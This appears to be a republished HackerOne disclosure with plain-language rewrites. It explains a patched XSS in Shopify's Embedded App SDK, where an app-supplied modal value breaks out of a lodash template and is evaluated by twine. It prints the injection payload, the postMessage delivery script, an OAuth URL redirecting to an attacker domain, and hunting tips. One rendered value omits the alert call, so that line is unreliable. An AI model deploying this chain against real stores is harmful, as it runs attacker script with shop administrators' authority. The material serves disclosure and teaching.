Skip to content
XSS Disclosed report Advanced

XSS in $shop$.myshopify.com/admin/ via twine template injection in "Shopify.API.Modal.input" method when using a malicious app

A malicious Shopify app could inject JavaScript into the admin interface via the Shopify.API.Modal.input method because user input was not properly escaped in a lodash template, leading to twine template injection. An attacker could execute arbitrary JavaScript as a store administrator after the admin authorised the app.

bored-engineer Follow

Originally disclosed on HackerOne

Bounty$1,000 High View original
  • Triaged in 42 hours
  • Fixed in 34 days
  • Paid in 58 days
  • Disclosed after 2 months

Summary by the program

This report demonstrated an XSS that could be exploited by a malicious application installed on a store to execute javascript as a store administrator. The cause of the XSS turned out to be improperly escaped user input in a lodash template.

The report

#Description The Shopify Embedded App SDK is used to facilitate limited interactions with parent page (/admin/apps/$id) from an embedded app within the shop admin interface. The SDK has multiple methods which allow an app to interact with the user which execute in the context of the admin domain and pass information back to the app. These UI elements are rendered from predefined templates using lodash's _.template method. While the method automatically provides input escaping the "input" template (used by the Shopify.API.Modal.input method) assigns a value to a special data-define attribute. While it's not possible to escape the attribute context, because the escaping is not fully context-aware it is possible to inject additional data into the attribute which is later interpreted by twine. Because twine does not execute in a sandbox this template becomes an eval primitive and it possible to obtain XSS in the context of the parent application.

#Technical Details When the Shopify.API.Modal.input method the following "input" template is rendered using lodash's _.template method:

HTML
...
<div class="ui-modal__body" data-define="{typedInput: &#39;[%= value %]&#39;}">
...
<label class="next-label" for="text-a10e7047a92878fc20031f40da0b5231"></label>
<input type="text" id="text-a10e7047a92878fc20031f40da0b5231" data-bind="typedInput" autofocus="autofocus" class="next-input" />
...
<button class="btn close-modal [%= buttonClass %]" data-bind-event-click="closeModal({result: true, data: typedInput})" type="button" name="button">[%= okButton %]</button>
...

The typedInput parameter is initialized from the value template parameter, bound to the text input, and finally used when the "okButton" is clicked. The data binding is handled by Shopify's twine JS library. Unfortunately because _.template is not fully context aware it will not provide JSON escaping for this parameter. For example if value is set to some'value the following invalid JSON will be created in the data-define attribute:

{typedInput: 'some'value'}

Normally this would just break the intended functionality, however if we analyze twine we can discover that this type of injection can actually result in arbitrary JS execution. Twine evaluates parameters using the (wrapFunctionString)[https://github.com/Shopify/twine/blob/24c4ccfccf5b50937e6d9e433676651549be1497/dist/twine.js#L373] method:

JavaScript
wrapFunctionString = function(code, args, node) {
  var e, error, keypath;
  if (isKeypath(code) && (keypath = keypathForKey(node, code))) {
    if (keypath[0] === '$root') {
      return function($context, $root) {
        return getValue($root, keypath);
      };
    } else {
      return function($context, $root) {
        return getValue($context, keypath);
      };
    }
  } else {
    code = "return " + code;
    if (nodeArrayIndexes(node)) {
      code = "with($arrayPointers) { " + code + " }";
    }
    if (requiresRegistry(args)) {
      code = "with($registry) { " + code + " }";
    }
    try {
      return new Function(args, "with($context) { " + code + " }");
    } catch (error) {
      e = error;
      throw "Twine error: Unable to create function on " + node.nodeName + " node with attributes " + (stringifyNodeAttributes(node));
    }
  }
};

The method wraps the attribute value in a with block to provide named variables and passes it to a Function constructor which acts as a eval primitive. This means any injection will result in JavaScript execution. For example, if the following data is used for the value template parameter it will flow as follows:

'-alert(document.domain)-'

This will result in a data-define attribute with the following value:

JavaScript
{typedInput:''-document.domain-''}

This will result in the following code executing within twine:

JavaScript
with($context) {
  with($registry) {
    return {typedInput: ''-alert(document.domain)-''}
  }
}

Putting this all together with the SDK we get the following script:

JavaScript
window.parent.postMessage(JSON.stringify({
  message: "Shopify.API.Modal.input",
  data: {
    message: {
      message: "", 
      value: "'-alert(document.domain)-'",
    }
  }
}), "*");

#Exploitability You need to convince an administrator to authorize your malicious application, however the exploit does not require any specific permissions to trigger so an admin may be more willing to authorize the application.

#Proof of Concept I've created an example malicious application associated with my partner account [email protected] to demonstrate the issue... Open the following URL on on $your-shop$.myshopify.com:

/admin/oauth/authorize?client_id=5b7bd427b8caa69610bf85d1c87d4a04&scope=read_products&redirect_uri=https://attackerdoma.in/a4d76231-8657-48ed-8800-f1b02c7bb2ff.html&state=nonce

After authorizing the application an alert should appear on the /admin window containing document.domain.

#Remediation The "input" template should be updated to make the value parameter context-aware, perhaps wrapping in a JSON.stringify call.

The original report as published on HackerOne, by bored-engineer. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Shopify's Embedded App SDK lets an app run inside the shop admin interface and interact in a limited way with the parent page at /admin/apps/$id. The SDK exposes several methods that render UI elements in the context of the admin domain and pass information back to the embedded app. Those UI elements are rendered from predefined templates using lodash's _.template method.

One of these methods is Shopify.API.Modal.input, which renders an "input" template containing a text field. The value shown in that field comes from a value template parameter supplied by the calling app. The rendered markup binds the field to a typedInput variable through a data-define attribute, and that binding is interpreted by Shopify's twine library.

The report describes how a malicious app installed on a store could use this path to execute JavaScript as a store administrator.

Setup

To demonstrate the issue the researcher created an example malicious application associated with a partner account. The proof of concept is triggered by opening an authorisation URL on a target shop, $your-shop$.myshopify.com, and approving the app. No special permissions are needed for the exploit to fire, which the researcher notes may make an administrator more willing to authorise the application.

Finding it

The starting point is the "input" template rendered by Shopify.API.Modal.input through lodash's _.template. The relevant part of the template looks like this:

HTML
...
<div class="ui-modal__body" data-define="{typedInput: &#39;[%= value %]&#39;}">
...
<label class="next-label" for="text-[redacted]"></label>
<input type="text" id="text-[redacted]" data-bind="typedInput" autofocus="autofocus" class="next-input" />
...
<button class="btn close-modal [%= buttonClass %]" data-bind-event-click="closeModal({result: true, data: typedInput})" type="button" name="button">[%= okButton %]</button>
...

The typedInput parameter is initialised from the value template parameter, bound to the text input, and finally used when the "okButton" is clicked. The data binding is handled by twine.

The problem is that _.template is not fully context-aware. It escapes the input, but it does not provide JSON escaping for a value placed inside the data-define attribute. Setting value to some'value, for example, produces invalid JSON in the attribute:

Text
{typedInput: 'some'value'}

On its own that would merely break the intended functionality. The interesting part is what twine does with the attribute value.

Exploitation

Step 1: understand how twine evaluates the attribute

Twine evaluates parameters with the wrapFunctionString method:

JavaScript
wrapFunctionString = function(code, args, node) {
  var e, error, keypath;
  if (isKeypath(code) && (keypath = keypathForKey(node, code))) {
    if (keypath[0] === '$root') {
      return function($context, $root) {
        return getValue($root, keypath);
      };
    } else {
      return function($context, $root) {
        return getValue($context, keypath);
      };
    }
  } else {
    code = "return " + code;
    if (nodeArrayIndexes(node)) {
      code = "with($arrayPointers) { " + code + " }";
    }
    if (requiresRegistry(args)) {
      code = "with($registry) { " + code + " }";
    }
    try {
      return new Function(args, "with($context) { " + code + " }");
    } catch (error) {
      e = error;
      throw "Twine error: Unable to create function on " + node.nodeName + " node with attributes " + (stringifyNodeAttributes(node));
    }
  }
};

The method wraps the attribute value in a with block to provide named variables and passes it to a Function constructor, which acts as an eval primitive. Any injection into that value therefore results in JavaScript execution.

Step 2: craft a value that breaks out of the string

Using the following data for the value template parameter:

Text
'-alert(document.domain)-'

produces a data-define attribute with this value:

JavaScript
{typedInput:''-document.domain-''}

which results in the following code executing within twine:

JavaScript
with($context) {
  with($registry) {
    return {typedInput: ''-alert(document.domain)-''}
  }
}

The injected expression is evaluated as part of the generated function.

Step 3: deliver the value through the SDK

Putting it together with the SDK gives the following script, which the embedded app sends to the parent admin window:

JavaScript
window.parent.postMessage(JSON.stringify({
  message: "Shopify.API.Modal.input",
  data: {
    message: {
      message: "",
      value: "'-alert(document.domain)-'",
    }
  }
}), "*");

The message invokes Shopify.API.Modal.input in the parent page with the crafted value, which flows into the template and then into twine.

Step 4: get the administrator to install the app

Open the following URL on $your-shop$.myshopify.com:

Text
/admin/oauth/authorize?client_id=[redacted]&scope=read_products&redirect_uri=https://attackerdoma.in/a4d76231-8657-48ed-8800-f1b02c7bb2ff.html&state=nonce

After authorising the application, an alert appears on the /admin window containing document.domain. The requested scope is read_products, and the exploit does not require any specific permissions to trigger.

Root cause

The "input" template assigns the value parameter to the special data-define attribute. Escaping the attribute context itself is not possible, and because lodash's _.template escaping is not fully context-aware, it does not apply JSON escaping to a value that ends up inside a JSON-like structure in that attribute. An attacker can therefore inject additional data into the attribute.

That data is later interpreted by twine. Twine does not execute in a sandbox: it builds a function from the attribute value with the Function constructor, wrapped in with blocks, so the template becomes an eval primitive. The combination of unescaped input in the attribute and evaluation of that attribute yields XSS in the context of the parent application.

Impact

A malicious application installed on a store can execute JavaScript as a store administrator, in the context of the admin domain. The only precondition is convincing an administrator to authorise the application. Because the exploit requires no specific permissions, an administrator may be more willing to grant access than for an app requesting sensitive scopes.

Fix

The report recommends updating the "input" template so that the value parameter is context-aware, for example by wrapping it in a JSON.stringify call. The program's summary confirms that the cause was improperly escaped user input in a lodash template.

Variants to test

  • Other SDK methods that render templates with lodash and place parameters into data-define or other twine-interpreted attributes. A positive result is a parameter value that changes the generated function rather than the displayed text.
  • Any template parameter placed inside a JSON-like structure in an HTML attribute. A positive result is invalid JSON in the rendered attribute, as with some'value producing {typedInput: 'some'value'}.
  • Other attributes consumed by twine's wrapFunctionString. A positive result is an injected expression appearing in the code passed to the Function constructor.

Hunting notes

This kind of bug hides where a client-side framework renders templates from parameters supplied by another origin, especially when the rendered markup is later evaluated by a binding library. During recon, look for postMessage handlers that accept method names and data from embedded frames, and for templates that write parameters into attributes such as data-define, data-bind or event bindings. The signal is a parameter that is escaped for HTML but not for the surrounding attribute syntax.

To show impact, the researcher delivered the payload through the SDK from an app the administrator authorises, and demonstrated execution in the /admin window with an alert containing document.domain. The program's summary describes the report as an XSS exploitable by a malicious installed app.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

Shopify is an online platform that lets people run an online shop. Shop owners do their day-to-day work in a private area called the admin, at addresses like $your-shop$.myshopify.com/admin. Third-party developers can build small add-on programs, called apps, that plug into that admin area. When a shop owner installs one of these apps, the app can show its own screens inside the admin, so it looks like part of Shopify.

This report is about a hole in that arrangement. A malicious app, once a shop owner installed it, could run its own JavaScript code inside the admin page. JavaScript is the programming language that web pages use to do things in your browser, and running it inside the admin page means the app could execute JavaScript as the shop owner. That class of bug is called cross-site scripting, or XSS for short. The usual everyday comparison is a forged letter that looks like it came from the bank: the browser trusts the page, so it trusts whatever code ends up on it.

The program's own summary says the cause was user input that was not escaped properly inside a lodash template. We will unpack each of those words as we go.

Context

What the Embedded App SDK is

An SDK, or software development kit, is a box of ready-made tools that a developer can use instead of writing everything from scratch. Think of it as a set of Lego bricks with instructions: you snap them together and get a working result faster.

Shopify's Embedded App SDK is the set of tools that lets an app run inside the shop admin interface. The app appears in a frame within the admin page, and the SDK gives it a limited way to talk to the page around it, called the parent page. The parent page here lives at /admin/apps/$id, where $id is a placeholder for the app's identifier.

The SDK exposes several methods. A method is simply a named action you can ask a piece of software to perform, like pressing a labelled button on a machine. These methods render user interface elements, meaning visible things such as dialogs and text fields, in the context of the admin domain. The domain is the site's address, for example $your-shop$.myshopify.com; code running "in the context of the admin domain" is treated by the browser as belonging to the admin site itself, with all the trust that implies.

What a template is

A template is a reusable pattern with blanks to fill in. A birthday card with "Dear ____" is a template: the card is fixed, the name changes. In web software, templates are pieces of HTML, the language that describes page structure, with placeholders that get replaced by real values when the page is built.

Shopify builds these UI elements from predefined templates using a JavaScript library called lodash, and specifically its _.template method. A library is a collection of code written by someone else that you reuse. lodash is a very widely used helper library, and _.template is its function for filling in template placeholders.

The method at the centre of the report

One of the SDK methods is Shopify.API.Modal.input. A modal is a dialog box that appears on top of the page and demands attention before you continue, like a pop-up card in front of the page. This particular method shows a modal containing a text field where the user can type something.

The text shown in that field comes from a value template parameter supplied by the calling app. A parameter is an input you hand to a method, the way you tell a coffee machine which drink you want. So the app says "show a modal, and put this text in the field", and the SDK builds the modal from its template.

The rendered markup binds the field to a typedInput variable through a data-define attribute. A variable is a named storage slot for a value. A binding is a link that keeps two things in sync: when the field changes, the variable changes, and vice versa. An attribute is extra information attached to an HTML element, written inside its tag, like a label stuck on a box. data-define is a custom attribute that Shopify's own library reads to set up these bindings.

That binding is interpreted by Shopify's twine library. Twine is a small JavaScript library that reads these special attributes and makes the described behaviour happen.

The report describes how a malicious app installed on a store could use this path to execute JavaScript as a store administrator.

Setup

To demonstrate the issue, the researcher created an example malicious application associated with a partner account. A partner account is a developer account on Shopify's platform, used to build and manage apps.

The proof of concept is triggered by opening an authorisation URL on a target shop, $your-shop$.myshopify.com, and approving the app. An authorisation URL is a web address that, when visited, asks the shop owner to grant an app permission to access their shop. Approving it is the digital equivalent of signing a form that lets a contractor into your building.

No special permissions are needed for the exploit to fire. A permission, also called a scope, is a specific right an app requests, such as the right to read products. The researcher notes that because no special permissions are required, an administrator may be more willing to authorise the application than one that asks for sensitive access.

Finding it

The starting point is the "input" template rendered by Shopify.API.Modal.input through lodash's _.template. The relevant part of the template looks like this:

HTML
...
<div class="ui-modal__body" data-define="{typedInput: &#39;[%= value %]&#39;}">
...
<label class="next-label" for="text-[redacted]"></label>
<input type="text" id="text-[redacted]" data-bind="typedInput" autofocus="autofocus" class="next-input" />
...
<button class="btn close-modal [%= buttonClass %]" data-bind-event-click="closeModal({result: true, data: typedInput})" type="button" name="button">[%= okButton %]</button>
...

Line by line, in plain words:

  • The first line opens a div, a generic container element, with the class ui-modal__body. A class is a name used to attach styling and behaviour. The important part is the data-define attribute. Its value is meant to be a small piece of JSON, a text format for structured data that looks like {name: value}. Here the structure is {typedInput: '...'}: a variable called typedInput whose value is a string, written between single quotes. The &#39; sequences are the HTML encoding of a single quote character, so the browser sees real quotes. The [%= value %] is the template placeholder: lodash replaces it with whatever the app supplied as value.
  • The label line is a caption element linked to the text field by its for attribute, which matches the field's id. The long string text-[redacted] is just a unique identifier for this field.
  • The input line is the actual text box. Its data-bind="typedInput" attribute tells twine to keep this field connected to the typedInput variable. autofocus means the cursor lands in the field automatically, and class="next-input" applies styling.
  • The button line is the confirmation button. Its visible text comes from the [%= okButton %] placeholder. Its data-bind-event-click attribute tells twine what to do when the button is clicked: call closeModal with {result: true, data: typedInput}, meaning close the dialog and hand back the current value of typedInput.

So the flow is: the typedInput parameter is initialised from the value template parameter, bound to the text input, and finally used when the "okButton" is clicked. The data binding is handled by twine.

The problem is that _.template is not fully context-aware. Context-aware escaping means knowing where a value is being placed and escaping it for that exact spot. Escaping is the act of neutralising characters that would otherwise be read as instructions rather than as text, the way you put quotation marks around a word so it is not mistaken for a command. A value placed between HTML tags needs different treatment from a value placed inside an attribute, and a value placed inside JSON inside an attribute needs different treatment again.

lodash escapes the input, but it does not provide JSON escaping for a value placed inside the data-define attribute. Setting value to some'value, for example, produces invalid JSON in the attribute:

Text
{typedInput: 'some'value'}

Here the single quote inside some'value closes the string early. The browser and twine now see 'some' followed by value followed by an empty string '', which is not valid JSON. On its own that would merely break the intended functionality: the dialog would misbehave. The interesting part is what twine does with the attribute value.

Exploitation

Step 1: understand how twine evaluates the attribute

Twine evaluates parameters with the wrapFunctionString method. "Evaluates" means it takes text and runs it as code. This step matters because it tells us whether a broken string is merely a bug or something an attacker can steer.

JavaScript
wrapFunctionString = function(code, args, node) {
  var e, error, keypath;
  if (isKeypath(code) && (keypath = keypathForKey(node, code))) {
    if (keypath[0] === '$root') {
      return function($context, $root) {
        return getValue($root, keypath);
      };
    } else {
      return function($context, $root) {
        return getValue($context, keypath);
      };
    }
  } else {
    code = "return " + code;
    if (nodeArrayIndexes(node)) {
      code = "with($arrayPointers) { " + code + " }";
    }
    if (requiresRegistry(args)) {
      code = "with($registry) { " + code + " }";
    }
    try {
      return new Function(args, "with($context) { " + code + " }");
    } catch (error) {
      e = error;
      throw "Twine error: Unable to create function on " + node.nodeName + " node with attributes " + (stringifyNodeAttributes(node));
    }
  }
};

Line by line:

  • wrapFunctionString = function(code, args, node) { defines a function that takes three inputs: code, the text to evaluate; args, the names of variables the code may use; and node, the HTML element the attribute belongs to.
  • var e, error, keypath; declares three variables used later.
  • if (isKeypath(code) && (keypath = keypathForKey(node, code))) { checks whether the text is a simple reference to a variable, like typedInput, rather than a full expression. A keypath is a name that points to a value, similar to a file path pointing to a file. If it is, the code takes the shortcut below.
  • The inner if (keypath[0] === '$root') branch returns a function that reads the value from the root context, the top-level data. The else branch returns a function that reads it from the local context. Either way, a plain name is just looked up, not executed.
  • } else { is the branch for anything that is not a plain name. This is where the danger lives.
  • code = "return " + code; turns the text into a return statement, so the expression's result is handed back.
  • if (nodeArrayIndexes(node)) { code = "with($arrayPointers) { " + code + " }"; } optionally wraps the code in a with block for array indexes. A with block is a JavaScript construct that makes named variables available without writing their full path each time, like opening a drawer so you can grab tools without naming the drawer every time.
  • if (requiresRegistry(args)) { code = "with($registry) { " + code + " }"; } does the same for a registry of helpers, if the code needs them.
  • try { return new Function(args, "with($context) { " + code + " }"); } is the crucial line. new Function(...) is a JavaScript feature that builds a brand-new function from a string of text. It is effectively an eval primitive: a way to turn text into running code. The with($context) wrapper makes the surrounding data available by name.
  • The catch block catches errors while building the function and throws a descriptive message naming the element and its attributes, which helps debugging.

In short: the method wraps the attribute value in a with block to provide named variables and passes it to a Function constructor, which acts as an eval primitive. Any injection into that value therefore results in JavaScript execution. Injection here means slipping extra instructions into data that was supposed to be plain text, the way a name field on a form could contain a whole sentence if nobody checks it.

Step 2: craft a value that breaks out of the string

Using the following data for the value template parameter:

Text
'-alert(document.domain)-'

This produces a data-define attribute with this value:

JavaScript
{typedInput:''-document.domain-''}

which results in the following code executing within twine:

JavaScript
with($context) {
  with($registry) {
    return {typedInput: ''-alert(document.domain)-''}
  }
}

What is happening here, step by step:

  • The payload starts and ends with a single quote. When lodash drops it into the template, those quotes close and reopen the JSON string, so the text is no longer a plain string but an expression.
  • alert(document.domain) is a JavaScript call. alert shows a pop-up box with a message. document.domain is the browser's way of reporting the current site's domain. Showing it demonstrates the code running in the admin window.
  • The minus signs are arithmetic subtraction. JavaScript evaluates ''-alert(...)-'' by first running the alert, then subtracting its result from empty strings. The exact number does not matter; the side effect, the pop-up, is the point.
  • Because twine builds a function from this text with new Function, the injected expression is evaluated as part of the generated function, so the alert runs in the admin page context.

Step 3: deliver the value through the SDK

Putting it together with the SDK gives the following script, which the embedded app sends to the parent admin window:

JavaScript
window.parent.postMessage(JSON.stringify({
  message: "Shopify.API.Modal.input",
  data: {
    message: {
      message: "",
      value: "'-alert(document.domain)-'",
    }
  }
}), "*");

Line by line:

  • window.parent refers to the page that contains the app's frame, that is, the admin page. postMessage is a browser feature for sending a message from one frame to another. Think of it as passing a note through a hatch between two rooms.
  • JSON.stringify({...}) turns a JavaScript object into a JSON text string, because postMessage sends text. An object is a bundle of named values, like a form with labelled fields.
  • message: "Shopify.API.Modal.input" names the SDK method the app wants the parent to run. It is the label on the note saying which department should handle it.
  • data: { message: { message: "", value: "'-alert(document.domain)-'" } } carries the arguments. The value field holds our crafted payload, exactly as it would be passed to the template.
  • "*" as the second argument to postMessage means "no restriction on which origin may receive this message". An origin is the combination of scheme, host and port that identifies a site, for example https://$your-shop$.myshopify.com.

The message invokes Shopify.API.Modal.input in the parent page with the crafted value, which flows into the template and then into twine.

Step 4: get the administrator to install the app

Open the following URL on $your-shop$.myshopify.com:

Text
/admin/oauth/authorize?client_id=[redacted]&scope=read_products&redirect_uri=https://attackerdoma.in/a4d76231-8657-48ed-8800-f1b02c7bb2ff.html&state=nonce

Breaking the URL down:

  • /admin/oauth/authorize is the admin page where a shop owner approves an app. OAuth is a standard way for one service to ask another for permission on a user's behalf, like a valet key that opens only the car door and not the boot.
  • client_id=[redacted] identifies which app is asking. It is the app's public name badge, not a secret.
  • scope=read_products is the permission being requested: the right to read product information. The exploit does not depend on this particular permission; it is simply what the demo app asked for.
  • redirect_uri=https://attackerdoma.in/a4d76231-8657-48ed-8800-f1b02c7bb2ff.html is where the browser is sent after approval. Here it points at a page controlled by the attacker, which is where the malicious app's code lives.
  • state=nonce is a value the app can use to check that the response belongs to its own request. nonce here is just a placeholder string.

After authorising the application, an alert appears on the /admin window containing document.domain. The requested scope is read_products, and the exploit does not require any specific permissions to trigger.

Root cause

The "input" template assigns the value parameter to the special data-define attribute. Escaping the attribute context itself is not possible, and because lodash's _.template escaping is not fully context-aware, it does not apply JSON escaping to a value that ends up inside a JSON-like structure in that attribute. An attacker can therefore inject additional data into the attribute.

That data is later interpreted by twine. Twine does not execute in a sandbox. A sandbox is an isolated playpen where code can run without touching anything important; without one, code runs with the page's full powers. Twine builds a function from the attribute value with the Function constructor, wrapped in with blocks, so the template becomes an eval primitive. The combination of unescaped input in the attribute and evaluation of that attribute yields XSS in the context of the parent application.

Impact

A malicious application installed on a store can execute JavaScript as a store administrator, in the context of the admin domain. The only precondition is convincing an administrator to authorise the application. Because the exploit requires no specific permissions, an administrator may be more willing to grant access than for an app requesting sensitive scopes.

Fix

The report recommends updating the "input" template so that the value parameter is context-aware, for example by wrapping it in a JSON.stringify call. JSON.stringify turns a value into properly quoted JSON text, so quotes inside the value are escaped instead of closing the string. The program's summary confirms that the cause was improperly escaped user input in a lodash template.

Variants to test

  • Other SDK methods that render templates with lodash and place parameters into data-define or other twine-interpreted attributes. A positive result is a parameter value that changes the generated function rather than the displayed text.
  • Any template parameter placed inside a JSON-like structure in an HTML attribute. A positive result is invalid JSON in the rendered attribute, as with some'value producing {typedInput: 'some'value'}.
  • Other attributes consumed by twine's wrapFunctionString. A positive result is an injected expression appearing in the code passed to the Function constructor.

Hunting notes

This kind of bug hides where a client-side framework renders templates from parameters supplied by another origin, especially when the rendered markup is later evaluated by a binding library. Client-side means the code runs in the browser rather than on the server. During recon, meaning the early exploration phase of a security test, look for postMessage handlers that accept method names and data from embedded frames, and for templates that write parameters into attributes such as data-define, data-bind or event bindings. The signal is a parameter that is escaped for HTML but not for the surrounding attribute syntax.

To show impact, the researcher delivered the payload through the SDK from an app the administrator authorises, and demonstrated execution in the /admin window with an alert containing document.domain. The program's summary describes the report as an XSS exploitable by a malicious installed app.

Glossary

  • Admin: the private area of a Shopify shop where the owner manages the store.
  • App: a third-party program that plugs into a platform such as Shopify.
  • Attribute: extra information attached to an HTML element, written inside its tag.
  • Binding: a link that keeps two things in sync, such as a form field and a variable.
  • Bounty: a reward paid by a company for a valid security report.
  • Class: a name used in HTML to attach styling and behaviour to an element.
  • Client-side: code that runs in the user's browser rather than on the server.
  • Context-aware escaping: escaping a value according to the exact place it is inserted, such as HTML text, an attribute or JSON.
  • Cross-site scripting (XSS): a bug where an attacker gets their own JavaScript to run inside another site's page, with that site's trust.
  • data-bind: a custom HTML attribute that twine reads to connect an element to a variable.
  • data-define: a custom HTML attribute that twine reads to define variables and their values.
  • Domain: the site's address, such as $your-shop$.myshopify.com.
  • Escaping: neutralising characters that would otherwise be read as instructions rather than text.
  • Eval primitive: any feature that turns text into running code, such as new Function.
  • Function constructor: the JavaScript new Function(...) feature that builds a function from a string.
  • HTML: the language that describes the structure of a web page.
  • Injection: slipping extra instructions into data that was meant to be plain text.
  • JavaScript: the programming language that web pages use to run code in the browser.
  • JSON: a text format for structured data, written as {name: value} pairs.
  • JSON.stringify: a JavaScript function that turns a value into properly quoted JSON text.
  • Keypath: a name that points to a value, similar to a file path pointing to a file.
  • Library: a collection of reusable code written by someone else.
  • lodash: a widely used JavaScript helper library; its _.template method fills in template placeholders.
  • Method: a named action you can ask a piece of software to perform.
  • Modal: a dialog box that appears on top of the page and demands attention before you continue.
  • Object: a bundle of named values, like a form with labelled fields.
  • OAuth: a standard way for one service to ask another for permission on a user's behalf.
  • Origin: the combination of scheme, host and port that identifies a site.
  • Parameter: an input you hand to a method.
  • Parent page: the page that contains an embedded frame.
  • Permission (scope): a specific right an app requests, such as reading products.
  • postMessage: a browser feature for sending a message from one frame to another.
  • Proof of concept: a working demonstration that a bug can actually be exploited.
  • Recon: the early exploration phase of a security test.
  • Sandbox: an isolated playpen where code can run without touching anything important.
  • SDK: a software development kit, a box of ready-made tools for developers.
  • Template: a reusable pattern with blanks to fill in.
  • Twine: Shopify's JavaScript library that reads special attributes and makes the described behaviour happen.
  • Variable: a named storage slot for a value.
  • with block: a JavaScript construct that makes named variables available without writing their full path each time.

More by bored-engineer

View all

7 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.